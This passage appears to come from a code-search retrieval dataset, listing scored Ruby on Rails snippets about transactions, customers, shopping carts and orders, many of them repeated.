"text": "def index\n @transactions = Transaction.all\n end", "title": "" }, { "docid": "0af44930b56757f1dc0bef773e5d4557", "score": "0.6417783", "text": "def index\n @transactions = Transaction.all\n end", "title": "" }, { "docid": "0af44930b56757f1dc0bef773e5d4557", "score": "0.6417783", "text": "def index\n @transactions = Transaction.all\n end", "title": "" }, { "docid": "0af44930b56757f1dc0bef773e5d4557", "score": "0.6417783", "text": "def index\n @transactions = Transaction.all\n end", "title": "" }, { "docid": "0af44930b56757f1dc0bef773e5d4557", "score": "0.6417783", "text": "def index\n @transactions = Transaction.all\n end", "title": "" }, { "docid": "0af44930b56757f1dc0bef773e5d4557", "score": "0.6417783", "text": "def index\n @transactions = Transaction.all\n end", "title": "" }, { "docid": "0af44930b56757f1dc0bef773e5d4557", "score": "0.6417783", "text": "def index\n @transactions = Transaction.all\n end", "title": "" }, { "docid": "0af44930b56757f1dc0bef773e5d4557", "score": "0.6417783", "text": "def index\n @transactions = Transaction.all\n end", "title": "" }, { "docid": "0af44930b56757f1dc0bef773e5d4557", "score": "0.6417783", "text": "def index\n @transactions = Transaction.all\n end", "title": "" }, { "docid": "0af44930b56757f1dc0bef773e5d4557", "score": "0.6417783", "text": "def index\n @transactions = Transaction.all\n end", "title": "" }, { "docid": "0af44930b56757f1dc0bef773e5d4557", "score": "0.6417783", "text": "def index\n @transactions = Transaction.all\n end", "title": "" }, { "docid": "0af44930b56757f1dc0bef773e5d4557", "score": "0.6417783", "text": "def index\n @transactions = Transaction.all\n end", "title": "" }, { "docid": "0af44930b56757f1dc0bef773e5d4557", "score": "0.6417783", "text": "def index\n @transactions = Transaction.all\n end", "title": "" }, { "docid": "0af44930b56757f1dc0bef773e5d4557", "score": "0.6417783", "text": "def index\n @transactions = Transaction.all\n end", "title": "" }, { "docid": "0af44930b56757f1dc0bef773e5d4557", "score": "0.6417783", "text": "def index\n @transactions = Transaction.all\n end", "title": "" }, { "docid": "0af44930b56757f1dc0bef773e5d4557", "score": "0.6417783", "text": "def index\n @transactions = Transaction.all\n end", "title": "" }, { "docid": "0af44930b56757f1dc0bef773e5d4557", "score": "0.6417783", "text": "def index\n @transactions = Transaction.all\n end", "title": "" }, { "docid": "0af44930b56757f1dc0bef773e5d4557", "score": "0.6417783", "text": "def index\n @transactions = Transaction.all\n end", "title": "" }, { "docid": "54f3f3eb726277a9a730bf730d0cc1e3", "score": "0.64142716", "text": "def new\n @customer_transaction = CustomerTransaction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @customer_transaction }\n end\n end", "title": "" }, { "docid": "5dfb351c427bdc415cf67ff446ba81e7", "score": "0.641314", "text": "def v1_transactions\n @v1_transactions ||= V1TransactionsApi.new config\n end", "title": "" }, { "docid": "7466efc84ba133a44c03c0e4a76376ef", "score": "0.6408281", "text": "def customer(options = nil)\n request = Request.new(@client)\n path = \"/invoices/\" + CGI.escape(@id) + \"/customers\"\n data = {\n\n }\n\n response = Response.new(request.get(path, data, options))\n return_values = Array.new\n \n body = response.body\n body = body[\"customer\"]\n customer = Customer(self._client)\n return_values.push(customer.fill_with_data(body))\n\n \n return_values[0]\n end", "title": "" }, { "docid": "360133f338e28c4eaa1bbb88f8184876", "score": "0.6404899", "text": "def get_customer(id)\n get(\"customers/#{id}\")\n end", "title": "" }, { "docid": "360133f338e28c4eaa1bbb88f8184876", "score": "0.6404899", "text": "def get_customer(id)\n get(\"customers/#{id}\")\n end", "title": "" }, { "docid": "c1e70c8567ae4949d18f25f4dd321e67", "score": "0.640358", "text": "def index\n @transactions = Transaction.where(user_id: current_user.id)\n end", "title": "" }, { "docid": "60f1b94673eabc4f29033d4083fb117c", "score": "0.6395571", "text": "def show\n @transactions = @cnab.transactions.page params[:page]\n end", "title": "" }, { "docid": "7f5a525d8b19316cf6567762c7e671a4", "score": "0.63928646", "text": "def investment_transactions\n now = Date.today\n thirty_days_ago = (now - 30)\n begin\n product_response = client.investments.transactions.get(access_token, thirty_days_ago, now)\n pretty_print_response(product_response)\n content_type :json\n { investment_transactions: product_response }.to_json\n rescue Plaid::PlaidAPIError => e\n error_response = format_error(e)\n pretty_print_response(error_response)\n content_type :json\n error_response.to_json\n end\n end", "title": "" }, { "docid": "2fe7956e70b6d9cace941ef13188a7b6", "score": "0.63894325", "text": "def get_transactions(page = nil)\r\n # Prepare query url.\r\n _path_url = '/transactions'\r\n _query_builder = Configuration.get_base_uri\r\n _query_builder << _path_url\r\n _query_builder = APIHelper.append_url_with_query_parameters(\r\n _query_builder,\r\n {\r\n 'page' => page\r\n },\r\n array_serialization: Configuration.array_serialization\r\n )\r\n _query_url = APIHelper.clean_url _query_builder\r\n # Prepare headers.\r\n _headers = {\r\n 'accept' => 'application/json'\r\n }\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.get(\r\n _query_url,\r\n headers: _headers\r\n )\r\n CustomHeaderAuth.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n # Return appropriate response type.\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body)\r\n decoded.map { |element| Transaction.from_hash(element) }\r\n end", "title": "" }, { "docid": "92fc7fa88ada91b371bb626278a82608", "score": "0.6382524", "text": "def index\n\t\t@transactions = []\n\t\t@accounts = @current_customer.accounts\n\t\t@accounts.each do |account|\n\t\t\taccount.transactions.each do |transaction|\n\t\t\t\t@transactions << transaction\n\t\t\tend\n\t\tend\n\t\t\n\t\t@transactions.sort!\n\tend", "title": "" }, { "docid": "a9bb682884dba3aa52292363382894d9", "score": "0.63798285", "text": "def index\n @transactions = AccountingTransaction.all\n end", "title": "" }, { "docid": "2d72d13adc4c9d9a91904baf3c48f9ba", "score": "0.6371208", "text": "def find(transaction_id, options = nil)\n request = Request.new(@client)\n path = \"/transactions/\" + CGI.escape(transaction_id) + \"\"\n data = {\n\n }\n\n response = Response.new(request.get(path, data, options))\n return_values = Array.new\n \n body = response.body\n body = body[\"transaction\"]\n \n \n obj = Transaction.new(@client)\n return_values.push(obj.fill_with_data(body))\n \n\n \n return_values[0]\n end", "title": "" }, { "docid": "e91ad51ec927c795e77935d1d5740ce2", "score": "0.6368947", "text": "def index\n vendor_transactions = @vendor.vendor_transactions.all\n vendor_transactions = vendor_transactions.page(params[:page])\n render json: {success: true, vendor_transactions: vendor_transactions.as_json, total_count: vendor_transactions.total_count}\n end", "title": "" }, { "docid": "44d5c99d89ab374d2baf04ebcdda12b5", "score": "0.6364978", "text": "def getcustsjson\n render :json => @customers\n end", "title": "" }, { "docid": "7888cf5b13ac522a9966a2f87348f1d7", "score": "0.63573724", "text": "def show_transaction\n render json: '[{\n \"transaction_id\": \"123\",\n \"amount\": 100000,\n \"sender\": \"empresa X\",\n \"reciever\": \"empresa Y\",\n \"created_at\": \"2017-04-26T22:40:17.326Z\"\n}]'\n end", "title": "" }, { "docid": "730998f6a404e9d8dee41d96870650b3", "score": "0.6356788", "text": "def show\n @accounts_receivable = @customer.accounts_receivable.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @accounts_receivable }\n end\n end", "title": "" }, { "docid": "88c4981f8a558627059caa64de674e70", "score": "0.6350611", "text": "def index\n @resource_transactions = ResourceTransaction.all\n end", "title": "" }, { "docid": "b82ab4fe58747fc248cfad3ed7376ba2", "score": "0.63506097", "text": "def transaction_detail\n { customer_transaction_id: \"Trackerific\" }\n end", "title": "" }, { "docid": "cc201eede4f477ec05fe210fd1eb2ae7", "score": "0.63501626", "text": "def show\r\n @transaction = Transaction.find(params[:id])\r\n respond_to do |format|\r\n format.json { render json: {transaction_id: @transaction} }\r\n end\r\n end", "title": "" }, { "docid": "a5185b15b5cdbc15c35daa6b2e56b935", "score": "0.63500565", "text": "def get_transaction(hash)\n @conn.get(\"/#{API_VERSION}/#{block_chain}/transactions/#{hash}\")\n end", "title": "" }, { "docid": "91d62cd75ff5a79fc0a0239d3115e952", "score": "0.63485605", "text": "def show\n @transactions = @re_entrant.transactions.paginate(:page => params[:page]).per_page(10)\n end", "title": "" }, { "docid": "df8d542c05bca617c366113abbd15f0b", "score": "0.634111", "text": "def get_all_transactions\n\t\tresponse = {:hello => \"world\"}\n\t \n\n\t respond_to do |format|\n\t\t\tformat.json do\n\t\t\t render :json => response\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "e29d648abb995c89c45c77096ea0ac24", "score": "0.6323321", "text": "def index\n @account = current_user.account\n # @transactions = @account.transactions\n @transactions = @account.transactions.page params[:page]\n end", "title": "" }, { "docid": "6dfe77f8d683c8c8e00951baefd87bb8", "score": "0.6319268", "text": "def index\n @transactions = Transaction.where(account_id: current_account.id)\n end", "title": "" }, { "docid": "1f1bf437b8ead0829d90a1af0aab19cb", "score": "0.63189214", "text": "def customer\n @customer = Sale.where(\"user_id = ?\" , current_user.id).distinct.pluck(:customer)\n # send date in form of json\n render json: @customer\n end", "title": "" }, { "docid": "a3d66b27e4a2c5aa94bf894b0b669863", "score": "0.63172096", "text": "def transactions()\n sql = \"SELECT * FROM transactions WHERE merchant_id = #{@id}\"\n results = Transaction.map_items(sql)\n return results\n end", "title": "" }, { "docid": "267318b0c415870d4560d7f5eee1a566", "score": "0.63113916", "text": "def get_transaction_by_id(id, options={}) path = \"/api/v2/transactions/#{id}\"\n get(path, options, AvaTax::VERSION) end", "title": "" }, { "docid": "fa29d96e85acd795ada4e6c2b5249672", "score": "0.63059497", "text": "def index\n render status: 403\n return\n @user_transactions = UserTransaction.page(params[:page]).per(params[:per])\n render json: @user_transactions\n end", "title": "" }, { "docid": "37418b9ae0871787c6b00b6498d8cc28", "score": "0.6305376", "text": "def v1_transactions\n @v1_transactions ||= V1TransactionsApi.new @global_configuration\n end", "title": "" }, { "docid": "6cd5d84a7b490be384cffa83b7c3084e", "score": "0.6299132", "text": "def show\n @transaction = Transaction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @transaction }\n end\n end", "title": "" }, { "docid": "6cd5d84a7b490be384cffa83b7c3084e", "score": "0.6299132", "text": "def show\n @transaction = Transaction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @transaction }\n end\n end", "title": "" }, { "docid": "6cd5d84a7b490be384cffa83b7c3084e", "score": "0.6299132", "text": "def show\n @transaction = Transaction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @transaction }\n end\n end", "title": "" }, { "docid": "6cd5d84a7b490be384cffa83b7c3084e", "score": "0.6299132", "text": "def show\n @transaction = Transaction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @transaction }\n end\n end", "title": "" }, { "docid": "6cd5d84a7b490be384cffa83b7c3084e", "score": "0.6299132", "text": "def show\n @transaction = Transaction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @transaction }\n end\n end", "title": "" }, { "docid": "6cd5d84a7b490be384cffa83b7c3084e", "score": "0.6299132", "text": "def show\n @transaction = Transaction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @transaction }\n end\n end", "title": "" } ]
185123dc964f6871eedcf1813c4944d3
Sets up shopping carts that can be used to submit orders.
[ { "docid": "ab3b07e194fcfcd510664c0e2da22591", "score": "0.0", "text": "def order_submission(num_carts = 1)\n get(FinerWorks::Cart, \"/OrderSubmission\", { \"NewCart\" => num_carts })\n end", "title": "" } ]
[ { "docid": "d4b156ac642b43459e3c52337256759b", "score": "0.69964534", "text": "def set_cart\n @products = Product.all\n @cart = Cart.find_by(user: current_user)\n end", "title": "" }, { "docid": "bf7000589f81808717edbdace33d3dea", "score": "0.67013216", "text": "def create\n\t\t@cart = Cart.find(params[:cart])\n\t\t@order = @cart.orders.create()\n\t\tif @order.save\n\t\t\t@cart.items.each do |item|\n\t\t\t\t# add items and respective shopkeepers to order\n\t\t\t\t# make a copy of the item so that item remains if order if deleted by shopkeeper\n\t\t\t\t@order.items << Item.create(:name => item.name, :description => item.description, :price => item.price)\n\t\t\t\tif !@order.shopkeepers.include?(item.shopkeeper)\n\t\t\t\t\t@order.shopkeepers << item.shopkeeper\n\t\t\t\tend\n\t\t\tend \n\n\t\t\t# empty the cart\n\t\t\t@cart.items = []\n\t\t\tredirect_to :back, :flash => { :alert => \"Checkout complete. Go to 'Orders' to view.\"}\n\t\telse\n\t\t\tredirect_to :back, :flash => { :alert => \"Checkout not completed: Cart cannot be empty\" }\n\t\tend\n\tend", "title": "" }, { "docid": "a5f501e57179adcbdc453e91ddd36a42", "score": "0.6601556", "text": "def initialize_items(cart)\n cart.each do |cart_content|\n self.items.build(\n :product_id=>cart_content[:product_id],\n :quantity=>cart_content[:quantity],\n :product_option_id=>cart_content[:product_option_id]\n )\n end\n end", "title": "" }, { "docid": "a01a975c1354012d2b38fae7dcdadcc2", "score": "0.66011554", "text": "def init_cart \n # Check if the cart ID is defined and that it exists in the database\n create_new_order = false\n if session[:cart_id]\n @order = Caboose::Order.where(:id => session[:cart_id]).first\n create_new_order = true if @order.nil? || @order.status != 'cart' \n else \n create_new_order = true \n end\n\n if create_new_order # Create an order to associate with the session \n @order = Caboose::Order.new \n @order.site_id = @site ? @site.id : nil\n @order.status = Caboose::Order::STATUS_CART\n @order.financial_status = Caboose::Order::STATUS_PENDING\n @order.date_created = DateTime.now\n @order.referring_site = request.env['HTTP_REFERER']\n @order.landing_page = request.fullpath\n @order.landing_page_ref = params[:ref] || nil\n @order.save\n # Save the cart ID in the session\n session[:cart_id] = @order.id\n end \n end", "title": "" }, { "docid": "a7fa4e15b0bb63fe89d22100baf4b7fe", "score": "0.658227", "text": "def prepare_cart\n get new_customer_session_path\n\n # make a good login\n post new_customer_session_path, 'customer[email]' => customers(:buyer_one).email, 'customer[password]' => 'Helloworld1*'\n follow_redirect!\n\n assert_equal 200, status\n assert_equal root_path, path\n assert_equal I18n.t('customers.sessions.signed_in'), flash[:notice]\n assert_select '.alert-success p', I18n.t('customers.sessions.signed_in')\n\n @current_customer = assigns(:current_customer)\n\n assert_not_nil @current_customer\n\n post buy_product_path(product_id: products(:free_from_seller_one).id)\n post buy_product_path(product_id: products(:one_from_seller_one).id)\n post buy_product_path(product_id: products(:two_from_seller_one).id)\n post buy_product_path(product_id: products(:one_from_seller_two).id)\n post buy_product_path(product_id: products(:one_from_seller_no_stripe).id)\n\n # we have an order\n @current_order = assigns(:current_order)\n assert @current_order.order_items.count, 5\n\n get checkout_path\n\n # some products have already been ordered\n assert_equal I18n.t('dialog.shop.notice_already_ordered'), flash[:notice]\n\n assert @current_order.may_confirm?\n\n assert @current_order.order_items.count, 3\n # submit with less products\n get checkout_path\n end", "title": "" }, { "docid": "b140a275b2b0288447ff95b61c812fcf", "score": "0.6576705", "text": "def set_cart\n @cart = Cart.find(@s[0])\n end", "title": "" }, { "docid": "65669c7cce5d7c709cf270bf86ccbfde", "score": "0.65642256", "text": "def set_cart\n @cart = Cart.find_by(user: current_user)\n end", "title": "" }, { "docid": "cb3603e1fbd82c4bde935c875877b203", "score": "0.6520759", "text": "def initialize(cart_items)\n @cart_items = cart_items\n end", "title": "" }, { "docid": "5d1877ef76b13da1d896be56d61be83a", "score": "0.6511836", "text": "def set_product_containers\n # Add to Cart buttons in product listing\n @shopping_cart = ShoppingCart.new\n \n # Add to Watchlist buttons\n @watchlist = Watchlist.new\n end", "title": "" }, { "docid": "fa7c58e355b8ea7ec98e57f501f0fcfc", "score": "0.64909947", "text": "def set_cart\n @cart = @current_user.cart\n end", "title": "" }, { "docid": "d8aa299e388260c647eeb112b9957aed", "score": "0.64900994", "text": "def set_cart\n if Cart.where(:id => params[:id]).count > 0\n @cart = Cart.find(params[:id])\n end\n end", "title": "" }, { "docid": "045ae1933d3aa5ff7a291b7a55f67314", "score": "0.6483099", "text": "def set_cart\n user=current_user\n if user.carts.last.nil? || user.carts.last.close? then\n @cart = user.carts.create\n else\n @cart = user.carts.last\n end\n end", "title": "" }, { "docid": "b63d56fc2c43faf78cad7b923eeb4d23", "score": "0.6478428", "text": "def initial_cart_session\n session[:cart] = {}\n session[:cart][:tipster_ids] = []\n end", "title": "" }, { "docid": "117bf5b1c472da1a3ba32c1f61653439", "score": "0.6477485", "text": "def set_cart\n\n unless Cart.exists?(user_id: current_user.id)\n @cart = Cart.create(user_id: current_user.id)\n else\n @cart = Cart.find_by(user_id: current_user.id)\n end\n\n end", "title": "" }, { "docid": "922a04fdfa455dd1fce26e3d2f6f6623", "score": "0.64683807", "text": "def set_cart\n if user_signed_in?\n if params[:gift].present?\n @cart_items = []\n else\n @cart_items = CartItem.where(user_id: current_user.id)\n end\n else\n @cart_items = []\n end\n end", "title": "" }, { "docid": "92c46b12b5b61927d0d75761d743d104", "score": "0.64579713", "text": "def set_cart\n @cart = ProductsUser.where(user_id: current_user_id)\n end", "title": "" }, { "docid": "1ad9cfb84a66c86f9e6826797c95e92d", "score": "0.6441017", "text": "def set_cart\n @cart = current_user.cart || Cart.create(user: current_user)\n end", "title": "" }, { "docid": "f2f630c07a70141940cd2f53580329b8", "score": "0.6388716", "text": "def set_cart\n @cart = Cart.find_by(user_id: current_user.id)\n end", "title": "" }, { "docid": "baf5cae82cb6a071ea31f7450ed0518c", "score": "0.6384676", "text": "def set_cart\r\n unless current_cart\r\n @cart=Cart.create\r\n session[:cart_id]=@cart.id\r\n end\r\n end", "title": "" }, { "docid": "e126e08684a3d74b78ef5c99591d6b8b", "score": "0.63722295", "text": "def initialize_vars\n \n instantiate_shopping_classes\n \n @auth_shopping_cart_params = permitted_params.fetch(:cart,{})\n \n @auth_shopping_cart = params[:id] ? @auth_shopping_cart_class.find_self(params[:id],current_signed_in_resource) : @auth_shopping_cart_class.new(@auth_shopping_cart_params)\n \n end", "title": "" }, { "docid": "64ba40aa4cd7f97f76fdd93e8bd63109", "score": "0.63363355", "text": "def build_cart_from_session\n @cart = Order.new\n session[:cart].each do |p_id, q|\n @cart.order_contents.build(product_id: p_id, quantity: q)\n end\n end", "title": "" }, { "docid": "c46bbfa88f02d5e896d0084efe9644bf", "score": "0.6332183", "text": "def session_cart!\n \tif self.class.use_marketplace\n \t\tmarketplace_session_cart!\n \telse\n \t\tglobal_session_cart!\n \tend\n end", "title": "" }, { "docid": "0b2abe750ebebfb2ba853a8a5655f909", "score": "0.6319824", "text": "def order_setup\n contracts = Contract.where(buyer_id: current_user.id) + Contract.where(seller_id: current_user.id)\n @orders = Order.where(contract_id: contracts.first.id)\n contracts[1..contracts.length].each do |contract|\n @orders += Order.where(contract_id: contract.id)\n end\n end", "title": "" }, { "docid": "b6d7da7b64c780af19da9811a5bdaaf7", "score": "0.63176006", "text": "def set_cart\n session_id = cart_id\n @cart = Cart.find_by_session_id(session_id)\n if @cart.nil?\n @cart = Cart.new\n end\n #@cart = Cart.find(params[:id])\n end", "title": "" }, { "docid": "e55f76ae481b1898afa1f38100f16d0e", "score": "0.63172793", "text": "def set_cart\n @cart = Cart.find_or_create_by(user_id: cart_params[:user_id])\n end", "title": "" }, { "docid": "3ea748186e3966312803303fdbf7ffc2", "score": "0.63106847", "text": "def initialize_cart\n @cart = Cart.build_from_hash session # session variable always exists in each controller\n end", "title": "" }, { "docid": "b4f7f9490aaa226a42bd55ceff25d08f", "score": "0.63052744", "text": "def set_cart\n cart_id = session[:cart_id]\n if cart_id != nil\n @cart = ShoppingCart.find(cart_id) rescue nil\n end\n\n if @cart == nil\n @cart = ShoppingCart.new\n if @cart.save\n session[:cart_id] = @cart.id\n end\n end\n end", "title": "" }, { "docid": "fa1bbf48a994cbe3aebc6a2a7fe8747b", "score": "0.6279677", "text": "def set_shopping_cart\n @shopping_cart = current_user.shopping_cart\n end", "title": "" }, { "docid": "8b72c4f02f17db39954461e64cc4b2ea", "score": "0.6278533", "text": "def create_shopping_cart\n @request.session[:shopping_cart] = []\n @request.session[:shopping_cart] << { product_id: products(:whiskey).id, quantity: 1}\n @request.session[:shopping_cart] << { product_id: products(:tshirt).id, quantity: 2}\n end", "title": "" }, { "docid": "c0dcb4d7d34d92aa9bc6afb2a6d5d571", "score": "0.6275744", "text": "def initialize\n @cart = []\n @coupons\n end", "title": "" }, { "docid": "5bf9408c8d3c8ff97f108f4de846ff42", "score": "0.62609804", "text": "def cart ; end", "title": "" }, { "docid": "0c1983768b866027660f82015726602c", "score": "0.62255394", "text": "def set_cart\n @cart = params[:cart]\n end", "title": "" }, { "docid": "8c42954002261a630e9b34648d764b22", "score": "0.62080467", "text": "def setup_session\n\n session[:email_cart] ||= {}\n Rails.logger.info \"SETUP_SESSION:email_cart:#{session[:email_cart].inspect}\"\n\n # retrieve the email offer we are working with\n load_email\n\n # retrieve the studio we are working with\n load_my_studio\n\n # finally uncover the client we are working with\n load_client\n\n end", "title": "" }, { "docid": "63cd642b03f78b862eb04931d8af3adf", "score": "0.6181309", "text": "def set_shopping_cart\n @shopping_cart = ShoppingCart.find(params[:id])\n end", "title": "" }, { "docid": "63cd642b03f78b862eb04931d8af3adf", "score": "0.6181309", "text": "def set_shopping_cart\n @shopping_cart = ShoppingCart.find(params[:id])\n end", "title": "" }, { "docid": "63cd642b03f78b862eb04931d8af3adf", "score": "0.6181309", "text": "def set_shopping_cart\n @shopping_cart = ShoppingCart.find(params[:id])\n end", "title": "" }, { "docid": "63cd642b03f78b862eb04931d8af3adf", "score": "0.6181309", "text": "def set_shopping_cart\n @shopping_cart = ShoppingCart.find(params[:id])\n end", "title": "" }, { "docid": "63cd642b03f78b862eb04931d8af3adf", "score": "0.6181309", "text": "def set_shopping_cart\n @shopping_cart = ShoppingCart.find(params[:id])\n end", "title": "" }, { "docid": "63cd642b03f78b862eb04931d8af3adf", "score": "0.6181309", "text": "def set_shopping_cart\n @shopping_cart = ShoppingCart.find(params[:id])\n end", "title": "" }, { "docid": "63cd642b03f78b862eb04931d8af3adf", "score": "0.6181309", "text": "def set_shopping_cart\n @shopping_cart = ShoppingCart.find(params[:id])\n end", "title": "" }, { "docid": "63cd642b03f78b862eb04931d8af3adf", "score": "0.6181309", "text": "def set_shopping_cart\n @shopping_cart = ShoppingCart.find(params[:id])\n end", "title": "" }, { "docid": "63cd642b03f78b862eb04931d8af3adf", "score": "0.6181309", "text": "def set_shopping_cart\n @shopping_cart = ShoppingCart.find(params[:id])\n end", "title": "" }, { "docid": "63cd642b03f78b862eb04931d8af3adf", "score": "0.6181309", "text": "def set_shopping_cart\n @shopping_cart = ShoppingCart.find(params[:id])\n end", "title": "" }, { "docid": "565c24103110ea7fb2745142151721c1", "score": "0.61699647", "text": "def set_cart\n @cart = Cart.find(params[:id])\n end", "title": "" }, { "docid": "6cee2fb39816e0839a08f65221ba5ab8", "score": "0.61558604", "text": "def set_cart\n\t\t\t# byebug\n\t\t\t@cart = Cart.find(session[:cart.id])\n\t\t\trescue ActiveRecord::RecordNotFound \n\t\t\t\t@cart= Cart.create\n\t\t\t\tsession[:cart_id]=@cart.id\n\t\tend", "title": "" }, { "docid": "0824eec3a3aab0d5fc81cd32e5fff279", "score": "0.61545676", "text": "def cart\n #Load the cart from the session, or create a new empty cart.\n session[:cart] ||= []\n end", "title": "" }, { "docid": "f751ae149d583696b7b3dbe2d7f3b33e", "score": "0.61520565", "text": "def createOrder\n # Step 1: Get the current user\n @customer = Customer.find(current_customer.id)\n \n # Step 2: Create a new order and associate it with the current user\n @order = @customer.orders.build(:order_date => DateTime.now, :status => 'Pending')\n @order.save\n \n # Step 3: For each artwork in the cart, create a new item on the order!!\n @cart = session[:cart] || {} # Get the content of the Cart\n @cart.each do | id | \n artwork = Artwork.find_by_id(id)\n artwork.update_attribute(:status, \"Sold\")\n @orderartwork = @order.orderartworks.build(:artwork_id => artwork.id, :title => artwork.title, :cat => artwork.cat, :desc => artwork.desc, :price=> artwork.price, :sold => artwork.sold)\n @orderartwork.save\n \n \n end\n \n @orders = Order.all\n \n \n @orderartworks = Orderartwork.where(order_id: Order.last)\n \n session[:cart] = nil\n \n \nend", "title": "" }, { "docid": "1a869b2cb19b14ab23cae89467c32d5c", "score": "0.6120222", "text": "def set_cart\n @cart = Cart.find(params[:id])\n end", "title": "" }, { "docid": "1a869b2cb19b14ab23cae89467c32d5c", "score": "0.6120222", "text": "def set_cart\n @cart = Cart.find(params[:id])\n end", "title": "" }, { "docid": "1a869b2cb19b14ab23cae89467c32d5c", "score": "0.6120222", "text": "def set_cart\n @cart = Cart.find(params[:id])\n end", "title": "" }, { "docid": "1a869b2cb19b14ab23cae89467c32d5c", "score": "0.6120222", "text": "def set_cart\n @cart = Cart.find(params[:id])\n end", "title": "" }, { "docid": "1a869b2cb19b14ab23cae89467c32d5c", "score": "0.6120222", "text": "def set_cart\n @cart = Cart.find(params[:id])\n end", "title": "" }, { "docid": "1a869b2cb19b14ab23cae89467c32d5c", "score": "0.6120222", "text": "def set_cart\n @cart = Cart.find(params[:id])\n end", "title": "" }, { "docid": "1a869b2cb19b14ab23cae89467c32d5c", "score": "0.6120222", "text": "def set_cart\n @cart = Cart.find(params[:id])\n end", "title": "" }, { "docid": "1a869b2cb19b14ab23cae89467c32d5c", "score": "0.6120222", "text": "def set_cart\n @cart = Cart.find(params[:id])\n end", "title": "" }, { "docid": "1a869b2cb19b14ab23cae89467c32d5c", "score": "0.6120222", "text": "def set_cart\n @cart = Cart.find(params[:id])\n end", "title": "" }, { "docid": "1a869b2cb19b14ab23cae89467c32d5c", "score": "0.6120222", "text": "def set_cart\n @cart = Cart.find(params[:id])\n end", "title": "" }, { "docid": "1a869b2cb19b14ab23cae89467c32d5c", "score": "0.6120222", "text": "def set_cart\n @cart = Cart.find(params[:id])\n end", "title": "" }, { "docid": "1a869b2cb19b14ab23cae89467c32d5c", "score": "0.6120222", "text": "def set_cart\n @cart = Cart.find(params[:id])\n end", "title": "" }, { "docid": "1a869b2cb19b14ab23cae89467c32d5c", "score": "0.6120222", "text": "def set_cart\n @cart = Cart.find(params[:id])\n end", "title": "" }, { "docid": "1a869b2cb19b14ab23cae89467c32d5c", "score": "0.6120222", "text": "def set_cart\n @cart = Cart.find(params[:id])\n end", "title": "" }, { "docid": "1a869b2cb19b14ab23cae89467c32d5c", "score": "0.6120222", "text": "def set_cart\n @cart = Cart.find(params[:id])\n end", "title": "" }, { "docid": "1a869b2cb19b14ab23cae89467c32d5c", "score": "0.6120222", "text": "def set_cart\n @cart = Cart.find(params[:id])\n end", "title": "" }, { "docid": "1a869b2cb19b14ab23cae89467c32d5c", "score": "0.6120222", "text": "def set_cart\n @cart = Cart.find(params[:id])\n end", "title": "" }, { "docid": "1a869b2cb19b14ab23cae89467c32d5c", "score": "0.6120222", "text": "def set_cart\n @cart = Cart.find(params[:id])\n end", "title": "" }, { "docid": "1a869b2cb19b14ab23cae89467c32d5c", "score": "0.6120222", "text": "def set_cart\n @cart = Cart.find(params[:id])\n end", "title": "" }, { "docid": "1a869b2cb19b14ab23cae89467c32d5c", "score": "0.6120222", "text": "def set_cart\n @cart = Cart.find(params[:id])\n end", "title": "" }, { "docid": "1a869b2cb19b14ab23cae89467c32d5c", "score": "0.6120222", "text": "def set_cart\n @cart = Cart.find(params[:id])\n end", "title": "" }, { "docid": "1a869b2cb19b14ab23cae89467c32d5c", "score": "0.6120222", "text": "def set_cart\n @cart = Cart.find(params[:id])\n end", "title": "" }, { "docid": "1a869b2cb19b14ab23cae89467c32d5c", "score": "0.6120222", "text": "def set_cart\n @cart = Cart.find(params[:id])\n end", "title": "" }, { "docid": "1a869b2cb19b14ab23cae89467c32d5c", "score": "0.6120222", "text": "def set_cart\n @cart = Cart.find(params[:id])\n end", "title": "" }, { "docid": "1a869b2cb19b14ab23cae89467c32d5c", "score": "0.6120222", "text": "def set_cart\n @cart = Cart.find(params[:id])\n end", "title": "" }, { "docid": "1a869b2cb19b14ab23cae89467c32d5c", "score": "0.6120222", "text": "def set_cart\n @cart = Cart.find(params[:id])\n end", "title": "" }, { "docid": "1a869b2cb19b14ab23cae89467c32d5c", "score": "0.6120222", "text": "def set_cart\n @cart = Cart.find(params[:id])\n end", "title": "" }, { "docid": "1a869b2cb19b14ab23cae89467c32d5c", "score": "0.6120222", "text": "def set_cart\n @cart = Cart.find(params[:id])\n end", "title": "" }, { "docid": "1a869b2cb19b14ab23cae89467c32d5c", "score": "0.6120222", "text": "def set_cart\n @cart = Cart.find(params[:id])\n end", "title": "" }, { "docid": "1a869b2cb19b14ab23cae89467c32d5c", "score": "0.6120222", "text": "def set_cart\n @cart = Cart.find(params[:id])\n end", "title": "" }, { "docid": "1a869b2cb19b14ab23cae89467c32d5c", "score": "0.6120222", "text": "def set_cart\n @cart = Cart.find(params[:id])\n end", "title": "" }, { "docid": "1a869b2cb19b14ab23cae89467c32d5c", "score": "0.6120222", "text": "def set_cart\n @cart = Cart.find(params[:id])\n end", "title": "" }, { "docid": "1a869b2cb19b14ab23cae89467c32d5c", "score": "0.6120222", "text": "def set_cart\n @cart = Cart.find(params[:id])\n end", "title": "" }, { "docid": "1a869b2cb19b14ab23cae89467c32d5c", "score": "0.6120222", "text": "def set_cart\n @cart = Cart.find(params[:id])\n end", "title": "" }, { "docid": "1a869b2cb19b14ab23cae89467c32d5c", "score": "0.6120222", "text": "def set_cart\n @cart = Cart.find(params[:id])\n end", "title": "" }, { "docid": "1a869b2cb19b14ab23cae89467c32d5c", "score": "0.6120222", "text": "def set_cart\n @cart = Cart.find(params[:id])\n end", "title": "" }, { "docid": "1a869b2cb19b14ab23cae89467c32d5c", "score": "0.6120222", "text": "def set_cart\n @cart = Cart.find(params[:id])\n end", "title": "" }, { "docid": "1a869b2cb19b14ab23cae89467c32d5c", "score": "0.6120222", "text": "def set_cart\n @cart = Cart.find(params[:id])\n end", "title": "" }, { "docid": "1a869b2cb19b14ab23cae89467c32d5c", "score": "0.6120222", "text": 